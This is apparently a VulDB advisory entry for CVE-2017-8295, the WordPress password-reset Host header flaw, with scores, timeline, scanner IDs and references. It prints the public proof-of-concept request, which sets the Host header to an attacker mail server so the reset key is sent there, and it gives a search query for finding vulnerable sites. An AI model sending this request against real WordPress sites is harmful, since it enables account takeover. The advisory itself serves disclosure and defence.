WordPress up to 4.8.3 Password Reset wp-login.php mail HOST password recovery

CVSS Meta Temp Score
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CTI Interest Score
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6.0$0-$5k0.00

Summaryinfo

A vulnerability classified as critical was found in WordPress. This affects the function mail of the file wp-login.php of the component Password Reset. Such manipulation of the argument HOST as part of HTTP Header leads to password recovery. This vulnerability is documented as CVE-2017-8295. The attack can be executed remotely. Additionally, an exploit exists.

Detailsinfo

A vulnerability, which was classified as critical, has been found in WordPress (Content Management System). Affected by this issue is the function mail of the file wp-login.php of the component Password Reset. The manipulation of the argument HOST as part of a HTTP Header leads to a password recovery vulnerability. Using CWE to declare the problem leads to CWE-640. The product contains a mechanism for users to recover or change their passwords without knowing the original password, but the mechanism is weak. Impacted is confidentiality, integrity, and availability. CVE summarizes:

WordPress through 4.7.4 relies on the Host HTTP header for a password-reset e-mail message, which makes it easier for user-assisted remote attackers to reset arbitrary passwords by making a crafted wp-login.php?action=lostpassword request and then arranging for this e-mail to bounce or be resent, leading to transmission of the reset key to a mailbox on an attacker-controlled SMTP server. This is related to problematic use of the SERVER_NAME variable in wp-includes/pluggable.php in conjunction with the PHP mail function.

The bug was discovered 05/03/2017. The weakness was released 05/04/2017 by Dawid Golunski as EDB-ID 41963 as confirmed exploit (Exploit-DB). The advisory is shared for download at exploit-db.com. This vulnerability is handled as CVE-2017-8295 since 04/27/2017. The attack may be launched remotely. No form of authentication is required for exploitation. Successful exploitation requires user interaction by the victim. Technical details as well as a public exploit are known. The MITRE ATT&CK project declares the attack technique as T1552.

A public exploit has been developed by Dawid Golunski in HTTP POST Request and been published before and not just after the advisory. The exploit is available at exploit-db.com. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 1 days. During that time the estimated underground price was around $5k-$25k. By approaching the search of inurl:wp-login.php it is possible to find vulnerable targets with Google Hacking. The vulnerability scanner Nessus provides a plugin with the ID 100028 (WordPress 2.3.0 - 4.8.3 Unauthorized Password Reset), which helps to determine the existence of the flaw in a target environment. It is assigned to the family CGI abuses and running in the context r. The commercial vulnerability scanner Qualys is able to test this issue with plugin 11805 (WordPress Prior to 4.7.4 Potential Unauthorized Password Reset Vulnerability - Zero Day). The code used by the exploit is:

POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: injected-attackers-mxserver.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
 
user_login=admin&redirect_to=&wp-submit=Get+New+Password

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

The vulnerability is also documented in the databases at Exploit-DB (41963), Tenable (100028) and SecurityFocus (BID 98295†). exploitbox.io is providing further details. VulDB is the best source for vulnerability data and more expert information about this specific topic.

Productinfo

Type

Name

Version

License

Website

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 6.1
VulDB Meta Temp Score: 6.0

VulDB Base Score: 6.3
VulDB Temp Score: 6.0
VulDB Vector: 🔍
VulDB Reliability: 🔍

NVD Base Score: 5.9
NVD Vector: 🔍

CVSSv2info

AVACAuCIA
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VectorComplexityAuthenticationConfidentialityIntegrityAvailability
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VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

NVD Base Score: 🔍

Exploitinginfo

Class: Password recovery
CWE: CWE-640
CAPEC: 🔍
ATT&CK: 🔍

Physical: No
Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: Dawid Golunski
Programming Language: 🔍
Download: 🔍
Google Hack: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Price Prediction: 🔍
Current Price Estimation: 🔍

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Nessus ID: 100028
Nessus Name: WordPress 2.3.0 - 4.8.3 Unauthorized Password Reset
Nessus File: 🔍
Nessus Risk: 🔍
Nessus Family: 🔍
Nessus Context: 🔍

OpenVAS ID: 100908
OpenVAS Name: WordPress Password Reset CVE-2017-8295 Security Bypass Vulnerability (Windows)
OpenVAS File: 🔍
OpenVAS Family: 🔍

Qualys ID: 🔍
Qualys Name: 🔍

Exploit-DB: 🔍

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: no mitigation known
Status: 🔍

0-Day Time: 🔍

Timelineinfo

04/27/2017 🔍
05/03/2017 +6 days 🔍
05/03/2017 +0 days 🔍
05/03/2017 +0 days 🔍
05/03/2017 +0 days 🔍
05/04/2017 +1 days 🔍
05/04/2017 +0 days 🔍
05/05/2017 +1 days 🔍
05/09/2017 +4 days 🔍
01/11/2025 +2804 days 🔍

Sourcesinfo

Product: wordpress.com

Advisory: EDB-ID 41963
Researcher: Dawid Golunski
Status: Confirmed

CVE: CVE-2017-8295 (🔍)
GCVE (CVE): GCVE-0-2017-8295
GCVE (VulDB): GCVE-100-100856

OVAL: 🔍

SecurityFocus: 98295 - WordPress Password Reset CVE-2017-8295 Security Bypass Vulnerability
SecurityTracker: 1038403

scip Labs: https://www.scip.ch/en/?labs.20161013
Misc.: 🔍

Entryinfo

Created: 05/05/2017 09:02
Updated: 01/11/2025 18:33
Changes: 05/05/2017 09:02 (93), 06/08/2020 06:56 (1), 12/22/2020 12:38 (2), 01/11/2025 18:33 (15)
Complete: 🔍
Cache ID: 216::103

VulDB is the best source for vulnerability data and more expert information about this specific topic.

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